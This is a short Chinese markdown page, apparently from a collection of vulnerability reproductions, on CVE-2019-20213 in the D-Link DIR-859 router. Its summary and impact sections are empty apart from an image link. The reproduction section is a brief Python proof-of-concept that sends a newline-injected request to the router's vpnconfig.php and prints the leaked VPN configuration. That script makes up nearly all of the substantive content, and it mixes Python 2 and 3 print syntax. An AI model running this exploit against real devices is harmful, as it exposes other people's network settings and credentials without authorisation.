（CVE-2019–20213）D-Link DIR-859 rce.md

508 B / 2021-04-21 09:23:46

    ## 一、漏洞简介

## 二、漏洞影响

![image](resource/%EF%BC%88CVE-2019%E2%80%9320213%EF%BC%89D-Link%20DIR-859%20rce/media/6-20201014111625558.png)

## 三、复现过程

```
import requests
# Miguel Mendez Z.
FILES = ["vpnconfig.php"]
IP = "192.168.0.1"
PORT = "80"
headers = {'content-type': 'application/x-www-form-urlencoded'}
print "\n-----------VPN-------------\n"
url_vpn = 'http://{ip}:{port}/{file1}?pwnd=%0a'.format(ip=IP, port=PORT, file1=FILES[0])
print(requests.get(url_vpn).text)
```